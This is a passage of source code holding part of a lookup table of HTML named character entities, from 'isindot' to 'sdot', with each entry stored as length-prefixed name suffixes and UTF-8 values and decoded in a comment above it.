			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
